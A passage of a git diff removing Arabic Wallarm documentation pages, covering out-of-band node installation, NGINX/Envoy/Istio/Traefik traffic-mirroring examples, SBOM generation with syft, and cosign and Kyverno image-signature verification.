`/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة نموذج Wallarm. يتوفر الوصف التفصيلي ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة البيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-stable.md b/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-stable.md deleted file mode 100644 index 9beded43fe..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/linux/nginx-stable.md +++ /dev/null @@ -1,61 +0,0 @@ -# تثبيت الوحدة النمطية الديناميكية Wallarm OOB لـ NGINX الإصدار `المستقر` باستخدام حزم Linux - -توضح هذه التعليمات الخطوات لتثبيت Wallarm كوحدة نمطية [ديناميكية OOB](../overview.md) باستخدام حزم Linux لـ NGINX `المستقر` من nginx.org. - -تدعم Wallarm أنظمة التشغيل التالية: - -* Debian 11.x (bullseye) -* Ubuntu 18.04 LTS (bionic) -* Ubuntu 20.04 LTS (focal) -* Ubuntu 22.04 LTS (jammy) -* CentOS 7.x -* Amazon Linux 2.0.2021x وأقل -* AlmaLinux، Rocky Linux أو Oracle Linux 8.x -* RHEL 8.x - -## حالات الاستخدام - ---8<-- "../include/waf/installation/linux-packages/nginx-stable-use-cases.md" - -## المتطلبات - ---8<-- "../include/waf/installation/linux-packages/requirements-nginx-stable.md" - ---8<-- "../include/waf/installation/linux-packages/common-steps-to-install-node-nginx-stable.md" - -## 6. تفعيل Wallarm لتحليل الحركة - ---8<-- "../include/waf/installation/oob/steps-for-mirroring-linux.md" - -## 7. إعادة تشغيل NGINX - ---8<-- "../include/waf/root_perm_info.md" - ---8<-- "../include/waf/restart-nginx-4.4-and-above.md" - -## 8. تكوين إرسال الحركة إلى نسخة Wallarm - ---8<-- "../include/waf/installation/sending-traffic-to-node-oob.md" - -## 9. اختبار تشغيل Node Wallarm - ---8<-- "../include/waf/installation/test-waf-operation-no-stats.md" - -## 10. تعديل الحل المُنتشر بدقة - -يُثبَت الوحدة النمطية الديناميكية Wallarm بالإعدادات الافتراضية لـ NGINX `المستقر`. قد يتطلب العقدة التصفية بعض الإعدادات الإضافية بعد الانتشار. - -يتم تحديد إعدادات Wallarm باستخدام [توجيهات NGINX](../../../../admin-en/configure-parameters-en.md) أو واجهة مستخدم Wallarm Console. يجب تعيين التوجيهات في الملفات التالية على الجهاز الذي يحتوي على عقدة Wallarm: - -* `/etc/nginx/conf.d/default.conf` مع إعدادات NGINX -* `/etc/nginx/conf.d/wallarm.conf` مع إعدادات العقدة التصفية العامة - - يُستخدم الملف للإعدادات المُطبقة على جميع النطاقات. لتطبيق إعدادات مختلفة على مجموعات نطاقات مختلفة، استخدم الملف `default.conf` أو أنشئ ملفات تكوين جديدة لكل مجموعة نطاقات (على سبيل المثال، `example.com.conf` و`test.com.conf`). تتوفر معلومات أكثر تفصيلاً حول ملفات تكوين NGINX في [التوثيق الرسمي لـ NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` مع إعدادات مراقبة عقدة Wallarm. الوصف التفصيلي متاح ضمن [الرابط][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` أو `/etc/sysconfig/wallarm-tarantool` مع إعدادات قاعدة بيانات Tarantool - -فيما يلي بعض الإعدادات النموذجية التي يمكنك تطبيقها إذا لزم الأمر: - ---8<-- "../include/waf/installation/linux-packages/common-customization-options.md" - -* [تكوين الحل DNS الديناميكي في NGINX][dynamic-dns-resolution-nginx] \ No newline at end of file diff --git a/docs/latest-ar/installation/oob/web-server-mirroring/overview.md b/docs/latest-ar/installation/oob/web-server-mirroring/overview.md deleted file mode 100644 index 9a793ef959..0000000000 --- a/docs/latest-ar/installation/oob/web-server-mirroring/overview.md +++ /dev/null @@ -1,278 +0,0 @@ -# Wallarm OOB للحركة المتطابقة بواسطة NGINX و Envoy وما شابه - -تشرح هذه المقالة كيفية نشر Wallarm كحل [OOB](../overview.md) إذا اخترت إنتاج مرآة للحركة بواسطة حلول NGINX أو Envoy أو ما شابه. - -يمكن تنفيذ تطابق الحركة عن طريق تكوين خادم الويب أو الوكيل أو خادم مشابه لنسخ الحركة الواردة إلى خدمات Wallarm للتحليل. مع هذا النهج، يبدو تدفق الحركة النموذجي كما يلي: - -![مخطط OOB](../../../images/waf-installation/oob/wallarm-oob-deployment-scheme.png) - -## إجراء التنشيط - -لتنشيط وتكوين Wallarm لتحليل مرآة للحركة، تحتاج إلى: - -1. نشر عقدة Wallarm في بنية التحتية الخاصة بك باستخدام واحدة من الطرق التالية: - - * [إلى AWS باستخدام صورة الجهاز](aws-ami.md) - * [إلى GCP باستخدام صورة الجهاز](gcp-machine-image.md) - - - - !!! info "دعم تحليل الحركة المتطابقة" - فقط عقد Wallarm القائمة على NGINX تدعم تصفية الحركة المتطابقة. -1. قم بتكوين Wallarm لتحليل نسخة الحركة - تحتوي التعليمات الواردة أعلاه على الخطوات المطلوبة. -1. قم بتكوين البنية التحتية الخاصة بك لإنتاج نسخة من الحركة الواردة وإرسال النسخة إلى عقدة Wallarm كمكمل للخلفية. - - بالنسبة لتفاصيل التكوين، نوصي بالرجوع إلى توثيق المكونات المستخدمة في البنية التحتية الخاصة بك. نحن [أدناه](#examples-of-web-server-configuration-for-traffic-mirroring) نقدم أمثلة التكوين لبعض الحلول الشائعة مثل NGINX و Envoy وما شابه ولكن التكوين الفعلي يعتمد على خصوصيات البنية التحتية الخاصة بك. - -## أمثلة التكوين لتطابق الحركة - -أدناه هي الأمثلة على كيفية تكوين NGINX و Envoy و Traefik و Istio لتعكس الحركة الواردة إلى العقد Wallarm كجزء من الخلفية الإضافية. - -### NGINX - -بدءًا من NGINX 1.13 يمكنك تطابق الحركة إلى خلفية إضافية. لتطابق الحركة في NGINX: - -1. قم بتكوين الوحدة [`ngx_http_mirror_module`](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) بواسطة تعيين توجيه `mirror` في القائمة `location` أو `server`. - - ستعكس الأمثلة أدناه الطلبات المستلمة في `location /` إلى `location /mirror-test`. -1. لإرسال الحركة المتطابقة إلى عقدة Wallarm، سجل الرؤوس المراد تطابقها وحدد عنوان IP للجهاز الذي يحتوي على العقدة في `location` التي تشير إليها التوجيه `mirror`. - -``` -location / { - mirror /mirror-test; - mirror_request_body on; - root /usr/share/nginx/html; - index index.html index.htm; - } - -location /mirror-test { - internal; - #proxy_pass http://111.11.111.1$request_uri; - proxy_pass http://222.222.222.222$request_uri; - proxy_set_header X-SERVER-PORT $server_port; - proxy_set_header X-SERVER-ADDR $server_addr; - proxy_set_header HOST $http_host; - proxy_set_header X-Forwarded-For $realip_remote_addr; - proxy_set_header X-Forwarded-Port $realip_remote_port; - proxy_set_header X-Forwarded-Proto $http_x_forwarded_proto; - proxy_set_header X-Scheme $scheme; - proxy_set_header X-Request-ID $request_id; - } -``` - -[راجع توثيق NGINX](http://nginx.org/en/docs/http/ngx_http_mirror_module.html) - -### Envoy - -يعد هذا المثال تكوينًا لتطابق الحركة ب Envoy عبر المستمع `listener` الوحيد الذي يستمع إلى المنفذ 80 (بدون TLS) ويحتوي على فلتر `filter` واحد. يتم تحديد عناوين الخلفية الأصلية والخلفية الإضافية التي تتلقى الحركة المتطابقة في الكتلة `clusters`. - -```yaml -static_resources: - listeners: - - address: - socket_address: - address: 0.0.0.0 - port_value: 80 - filter_chains: - - filters: - - name: envoy.filters.network.http_connection_manager - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager - stat_prefix: ingress_http - codec_type: AUTO - route_config: - name: local_route - virtual_hosts: - - name: backend - domains: - - "*" - routes: - - match: - prefix: "/" - route: - cluster: httpbin # <-- link to the original cluster - request_mirror_policies: - - cluster: wallarm # <-- link to the cluster receiving mirrored requests - runtime_fraction: - default_value: - numerator: 100 - http_filters: - - name: envoy.filters.http.router - typed_config: - "@type": type.googleapis.com/envoy.extensions.filters.http.router.v3.Router - - clusters: - ### Definition of original cluster - ### - - name: httpbin - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: httpbin - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Address of the original endpoint. Address is DNS name - ### or IP address, port_value is TCP port number - ### - socket_address: - address: httpbin # <-- definition of the original cluster - port_value: 80 - - ### Definition of the cluster receiving mirrored requests - ### - - name: wallarm - type: STRICT_DNS - lb_policy: ROUND_ROBIN - load_assignment: - cluster_name: wallarm - endpoints: - - lb_endpoints: - - endpoint: - address: - ### Address of the original endpoint. Address is DNS name - ### or IP address, port_value is TCP port number. Wallarm - ### mirror schema can be deployed with any port but the - ### default value is TCP/8445 for Terraform module, and - ### the default value for other deployment options should be 80. - ### - socket_address: - address: wallarm - port_value: 8445 -``` - -[راجع توثيق Envoy](https://www.envoyproxy.io/docs/envoy/latest/api-v3/config/route/v3/route_components.proto) - -### Istio - -لتطابق الحركة في Istio، يمكنك تكوين `VirtualService` لتطابق الطرق إما إلى النقطة النهائية الداخلية (الداخلية لـ Istio، على سبيل المثال المستضافة في Kubernetes) أو إلى النقطة النهائية الخارجية مع `ServiceEntry`: - -* لتمكين تطابق الطلبات داخل الكتلة (مثل: بين الوعاءات)، أضف `mesh` إلى `.spec.gateways`. -* لتمكين تطابق الطلبات الخارجية (مثل: عبر خدمة LoadBalancer أو NodePort)، قم بتكوين مكون Istio `Gateway` وأضف اسم المكون إلى `.spec.gateways` من `VirtualService`. تتم تقديم هذا الخيار في الأمثلة التالية. - -```yaml ---- -### Configuration of destination for mirrored traffic -### -apiVersion: networking.istio.io/v1beta1 -kind: ServiceEntry -metadata: - name: wallarm-external-svc -spec: - hosts: - - some.external.service.tld # mirroring destination address - location: MESH_EXTERNAL - ports: - - number: 8445 # mirroring destination port - name: http - protocol: HTTP - resolution: DNS ---- -apiVersion: networking.istio.io/v1alpha3 -kind: VirtualService -metadata: - name: httpbin -spec: - hosts: - - ... - gateways: - ### Name of istio `Gateway` component. Required for handling traffic from - ### external sources - ### - - httpbin-gateway - ### Special label, enables this virtual service routes to work with requests - ### from Kubernetes pods (in-cluster communication not via gateways) - ### - - mesh - http: - - route: - - destination: - host: httpbin - port: - number: 80 - weight: 100 - mirror: - host: some.external.service.tld # mirroring destination address - port: - number: 8445 # mirroring destination port ---- -### For handling external requests -### -apiVersion: networking.istio.io/v1alpha3 -kind: Gateway -metadata: - name: httpbin-gateway -spec: - selector: - istio: ingress - app: istio-ingress - servers: - - port: - number: 80 - name: http - protocol: HTTP - hosts: - - "httpbin.local" -``` - -[راجع توثيق Istio](https://istio.io/latest/docs/tasks/traffic-management/mirroring/) - -### Traefik - -يعتمد مثال التكوين التالي على النهج [`dynamic configuration file`](https://doc.traefik.io/traefik/reference/dynamic-configuration/file/). يدعم Traefik أيضًا أوضاع تكوين أخرى، ويمكنك بسهولة ضبط واحد الذي تم تقديمه لأي منهم لأنهم يحتوون على بنية مشابهة. - -```yaml -### Dynamic configuration file -### Note: entrypoints are described in static configuration file -http: - services: - ### This is how to map original and wallarm `services`. - ### In further `routers` configuration (see below), please - ### use the name of this service (`with_mirroring`). - ### - with_mirroring: - mirroring: - service: "httpbin" - mirrors: - - name: "wallarm" - percent: 100 - - ### The `service` to mirror traffic to - the endpoint - ### that should receive the requests mirrored (copied) - ### from the original `service`. - ### - wallarm: - loadBalancer: - servers: - - url: "http://wallarm:8445" - - ### Original `service`. This service should receive the - ### original traffic. - ### - httpbin: - loadBalancer: - servers: - - url: "http://httpbin:80/" - - routers: - ### The router name must be the same as the `service` name - ### for the traffic mirroring to work (with_mirroring). - ### - with_mirroring: - entryPoints: - - "web" - rule: "Host(`mirrored.example.com`)" - service: "with_mirroring" - - ### The router for the original traffic. - ### - just_to_original: - entryPoints: - - "web" - rule: "Host(`original.example.local`)" - service: "httpbin" -``` - -[راجع توثيق Traefik](https://doc.traefik.io/traefik/routing/services/#mirroring-service) diff --git a/docs/latest-ar/installation/packages/aws-ami.md b/docs/latest-ar/installation/packages/aws-ami.md deleted file mode 100644 index 487a754c1a..0000000000 --- a/docs/latest-ar/installation/packages/aws-ami.md +++ /dev/null @@ -1,36 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[cloud-init-spec]: ../cloud-platforms/cloud-init.md -[wallarm_force_directive]: ../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "../include/waf/installation/cloud-platforms/article-for-inline-oob-ami.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/packages/gcp-machine-image.md b/docs/latest-ar/installation/packages/gcp-machine-image.md deleted file mode 100644 index f03a418695..0000000000 --- a/docs/latest-ar/installation/packages/gcp-machine-image.md +++ /dev/null @@ -1,31 +0,0 @@ -[رابط تشغيل النموذج]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[صورة توليد مفتاح SSH]: ../../images/installation-gcp/common/ssh-key-generation.png -[سياسة الإصدار]: ../../updating-migrating/versioning-policy.md#version-list -[صورة واجهة مستخدمي Wallarm]: ../../images/check-user-no-2fa.png -[صورة إنشاء عقدة Wallarm]: ../../images/user-guides/nodes/create-cloud-node.png -[وثائق منصات النشر]: ../../installation/supported-deployment-options.md -[رمز عقدة]: ../../quickstart.md#deploy-the-wallarm-filtering-node -[رمز API]: ../../user-guides/settings/api-tokens.md -[أنواع رموز Wallarm]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[منصة]: ../../installation/supported-deployment-options.md -[وثائق هجمات تعدي المسار]: ../../attacks-vulns-list.md#path-traversal -[صورة هجمات في واجهة المستخدم]: ../../images/admin-guides/test-attacks-quickstart.png -[توجيهات Wallarm Nginx]: ../../admin-en/configure-parameters-en.md -[وثائق التوسع التلقائي]: ../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[وثائق العنوان الحقيقي]: ../../admin-en/using-proxy-or-balancer-en.md -[وثائق تخصيص الذاكرة]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[تحديد معالجة الطلب]: ../../user-guides/rules/configure-overlimit-res-detection.md -[وثائق السجلات]: ../../admin-en/configure-logging.md -[مميزات وقيود OOB]: ../oob/overview.md#advantages-and-limitations -[وضع Wallarm]: ../../admin-en/configure-wallarm-mode.md -[وثائق Inline]: ../inline/overview.md -[وثائق OOB]: ../oob/overview.md -[Wallarm API عبر بروكسي]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[أمثلة تكوين خادم الويب لمرآة البيانات]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[صورة العقد المجمعة]: ../../images/user-guides/nodes/grouped-nodes.png -[مواصفات بدء تشغيل السحابة]: ../cloud-platforms/cloud-init.md -[توجيه Wallarm_force]: ../../admin-en/configure-parameters-en.md#wallarm_force -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "../include/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/security-edge/inline/access-control-lists.md b/docs/latest-ar/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index e17ad13457..0000000000 --- a/docs/latest-ar/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/security-edge/inline/cache-rules.md b/docs/latest-ar/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index d33e69f652..0000000000 --- a/docs/latest-ar/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/latest-ar/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index d38cfd27bb..0000000000 --- a/docs/latest-ar/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/latest-ar/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index e1007683d3..0000000000 --- a/docs/latest-ar/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/latest-ar/installation/security-edge/inline/telemetry-portal.md b/docs/latest-ar/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 817ba47d05..0000000000 --- a/docs/latest-ar/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/latest-ar/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/latest-ar/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index fa350a93d8..0000000000 --- a/docs/latest-ar/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1,48 +0,0 @@ -# إنشاء فاتورة بيان لمواد البرمجيات لصور Docker الخاصة بـWallarm - -فاتورة بيان لمواد البرمجيات (SBOM) هي قائمة تتضمن مكونات البرمجيات واعتماداتها في تطبيق ما، بما في ذلك الإصدارات، والتراخيص، والثغرات الأمنية. هذه المقالة توجهك إلى كيفية إنشاء SBOM لصور Docker الخاصة بـWallarm. - -قد تحتاج إلى الحصول على SBOM لصور Docker الخاصة بـWallarm لتقييم والتخفيف من المخاطر الأمنية المحتملة المرتبطة بالاعتمادات المستخدمة في الصور. وتوفر SBOM الشفافية فيما يتعلق بمكونات البرمجيات وتساعد على ضمان الامتثال. - -## قائمة بصور Docker الخاصة بـWallarm - -فيما يلي قائمة بصور Docker الخاصة بـWallarm الموقعة. يمكنك إنشاء SBOM لأي علامة من هذه الصور: - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1 وما فوق: [صورة Docker المستندة إلى NGINX](../admin-en/installation-docker-en.md) التي تتضمن جميع وحدات Wallarm، بمثابة قطعة مستقلة لتنصيب Wallarm -* جميع صور Docker المستخدمة بواسطة مخطط Helm ل[تنصيب NGINX-based Ingress Controller](../admin-en/installation-kubernetes-en.md): - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* جميع صور Docker المستخدمة بواسطة مخطط Helm ل[تنصيب Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md): - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - -## متطلبات - -لإنشاء SBOM لصور Docker الخاصة بـWallarm، ستحتاج إلى استخدام أداة CLI لـ[syft](https://github.com/anchore/syft). - -قبل المتابعة في إنشاء SBOM، تأكد من [تثبيت](https://github.com/anchore/syft#installation) **syft** على جهازك المحلي أو ضمن سلسلة أدوات CI/CD الخاصة بك. - -## إجراء إنشاء SBOM - -لإنشاء SBOM لصورة Docker، استخدم الأمر التالي، مع استبدال علامة الصورة المحددة بالعلامة المرغوبة: - -```bash -syft wallarm/ingress-controller:4.6.2-1 -``` - -بشكل افتراضي، **syft** يعيد SBOM بصيغة نصية. يمكنك أيضًا إنشائه بصيغ أخرى مثل CycloneDX، SPDX، وحفظ الناتج إلى ملف، على سبيل المثال: - -```bash -syft wallarm/ingress-controller:4.6.2-1 --output spdx-json >> syft_json_sbom.spdx -syft wallarm/ingress-controller:4.6.2-1 --output cyclonedx-json >> cyclonedx_json_sbom.cyclonedx -``` - -بعد إنشاء SBOM، يمكنك الاستفادة منه ضمن سلسلة أدوات CI/CD الخاصة بك لإجراءات متنوعة، مثل فحص الثغرات الأمنية، التحقق من الامتثال للتراخيص، التدقيقات الأمنية، أو إنشاء تقارير. - -للتحقق من أن جميع الاعتمادات تعود فعليًا إلى Wallarm، يمكنك ببساطة [التحقق من توقيع الصورة](verify-docker-image-signature.md) ككل. من خلال التوقيع الرقمي على صورنا، نضمن أن الصورة الموقعة هي بالفعل لنا. بناءً عليه، تمتد هذه الضمانة إلى SBOM، حيث سيتم ارتباطها بصورة Wallarm الموثقة. \ No newline at end of file diff --git a/docs/latest-ar/integrations-devsecops/verify-docker-image-signature.md b/docs/latest-ar/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index 8d37b8cba5..0000000000 --- a/docs/latest-ar/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1,106 +0,0 @@ -# التحقق من تواقيع صور Docker الخاصة بـWallarm - -تقوم Wallarm بتوقيع ومشاركة [المفتاح العام](https://repo.wallarm.com/cosign.pub) لصور Docker الخاصة بها، مما يتيح لك التحقق من صحتها والتخفيف من المخاطر مثل الصور المخترقة وهجمات سلسلة التوريد. تقدم هذه المقالة تعليمات للتحقق من تواقيع صور Docker الخاصة بـWallarm. - -## قائمة الصور الموقعة - -توقع Wallarm الصور التالية لـDocker: - -* [wallarm/node](https://hub.docker.com/r/wallarm/node) 4.8.0-1 فما فوق: [صورة Docker المبنية على NGINX](../admin-en/installation-docker-en.md) والتي تشتمل على جميع وحدات Wallarm، لتكون بمثابة مكون مستقل لنشر Wallarm -* جميع صور Docker المستخدمة بواسطة مخطط Helm لـ[نشر Ingress Controller المبني على NGINX](../admin-en/installation-kubernetes-en.md): - - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/node-helpers](https://hub.docker.com/r/wallarm/node-helpers) -* جميع صور Docker المستخدمة بواسطة مخطط Helm لـ[نشر Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md): - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - -## المتطلبات - -لضمان صحة صور Wallarm Docker، يُستخدم [Cosign](https://docs.sigstore.dev/cosign/overview/) لكل من التوقيع والتحقق. - -قبل المضي قدما في التحقق من توقيع صورة Docker، تأكد من [تثبيت](https://docs.sigstore.dev/cosign/installation/) أداة سطر الأوامر Cosign على جهازك المحلي أو ضمن سلسلة التوصيل الخاصة بك. - -## تنفيذ التحقق من توقيع صورة Docker - -للتحقق من توقيع صورة Docker، نفذ الأوامر التالية مع استبدال قيمة `WALLARM_DOCKER_IMAGE` بالعلامة المحددة للصورة: - -```bash -export WALLARM_DOCKER_IMAGE="wallarm/ingress-controller:4.6.2-1" -cosign verify --key https://repo.wallarm.com/cosign.pub $WALLARM_DOCKER_IMAGE -``` - -يجب أن [تُظهِر](https://docs.sigstore.dev/cosign/verify/) النتيجة كائن `docker-manifest-digest` مع بصمة الصورة، على سبيل المثال: - -```bash -[{"critical":{"identity":{"docker-reference":"index.docker.com/"}, -"image":{"docker-manifest-digest":""},"type":"cosign container image signature"}, -"optional":{"Bundle":{"SignedEntryTimestamp":"","Payload":{"body":"", -"integratedTime":,"logIndex":,"logID":""}}}}] -``` - -## استخدام محرك السياسة Kubernetes للتحقق من التواقيع - -تتيح محركات مثل Kyverno أو Open Policy Agent (OPA) إمكانية التحقق من تواقيع صور Docker ضمن عنقود Kubernetes الخاص بك. من خلال إنشاء سياسة بقواعد للتحقق، تبدأ Kyverno عملية التحقق من التوقيع بناء على معايير محددة، بما في ذلك المستودعات أو العلامات. يحدث التحقق خلال نشر موارد Kubernetes. - -إليك مثال على كيفية استخدام سياسة Kyverno للتحقق من تواقيع صور Wallarm Docker: - -1. [قم بتثبيت Kyverno](https://kyverno.io/docs/installation/methods/) على عنقودك وتأكد من أن جميع الحاويات تعمل. -1. أنشئ سياسة Kyverno YAML التالية: - - ```yaml - apiVersion: kyverno.io/v1 - kind: ClusterPolicy - metadata: - name: verify-wallarm-images - spec: - webhookTimeoutSeconds: 30 - validationFailureAction: Enforce - background: false - failurePolicy: Fail - rules: - - name: verify-wallarm-images - match: - any: - - resources: - kinds: - - Pod - verifyImages: - - imageReferences: - - docker.io/wallarm/ingress* - - docker.io/wallarm/sidecar* - attestors: - - entries: - - keys: - kms: https://repo.wallarm.com/cosign.pub - ``` -1. طبق السياسة: - - ``` - kubectl apply -f - ``` -1. قم بنشر إما [وحدة تحكم Ingress NGINX](../admin-en/installation-kubernetes-en.md) أو [وحدة التحكم Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md) الخاصة بـWallarm، حسب متطلباتك. سيتم تطبيق السياسة من Kyverno خلال النشر لفحص توقيع الصورة. -1. قم بتحليل نتائج التحقق بتنفيذ: - - ``` - kubectl describe ClusterPolicy verify-wallarm-images - ``` - -ستتلقى ملخصاً يوضح حالة التحقق من التوقيع: - -``` -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal PolicyApplied 50s (x2 over 50s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller: pass - Normal PolicyApplied 48s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller-9dcfddfc7-hjbhd: pass - Normal PolicyApplied 40s (x2 over 40s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics: pass - Normal PolicyApplied 35s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics-554789546f-9cc8j: pass -``` - -سياسة `verify-wallarm-images` المقدمة لديها المعلمة `failurePolicy: Fail`. هذا يعني أنه إذا لم ينجح التوثيق بالتوقيع، فإن عملية نشر المخطط بأكملها تفشل. \ No newline at end of file diff --git a/docs/latest-ar/maintenance/overview.md b/docs/latest-ar/maintenance/overview.md deleted file mode 100644 index 9095ef0791..0000000000 --- a/docs/latest-ar/maintenance/overview.md +++ /dev/null @@ -1,61 +0,0 @@ -# الصيانة - -يوفر هذا القسم إرشادات شاملة حول صيانة ومراقبة وترقية نشر Wallarm الخاص بك لضمان الأداء والأمان الأمثل. - -## ما هو مضمون - -* **العقد والبنية التحتية** - * [نظرة عامة على العقد](../user-guides/nodes/nodes.md) - إدارة ومراقبة عقد Wallarm الخاصة بك - * [تخصيص الموارد](../admin-en/configuration-guides/allocate-resources-for-node.md) - تكوين موارد وحدة المعالجة المركزية والذاكرة - * [مزامنة السحابة](../admin-en/configure-cloud-node-synchronization-en.md) - تكوين مزامنة العقدة مع Wallarm Cloud - * [تكوين الوكيل](../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md) - إعداد الوكيل للوصول إلى Wallarm API - * [تكوين صفحة الحظر](../admin-en/configuration-guides/configure-block-page-and-code.md) - تخصيص صفحات الحظر ورموز الاستجابة - * [معالجة الرؤوس غير 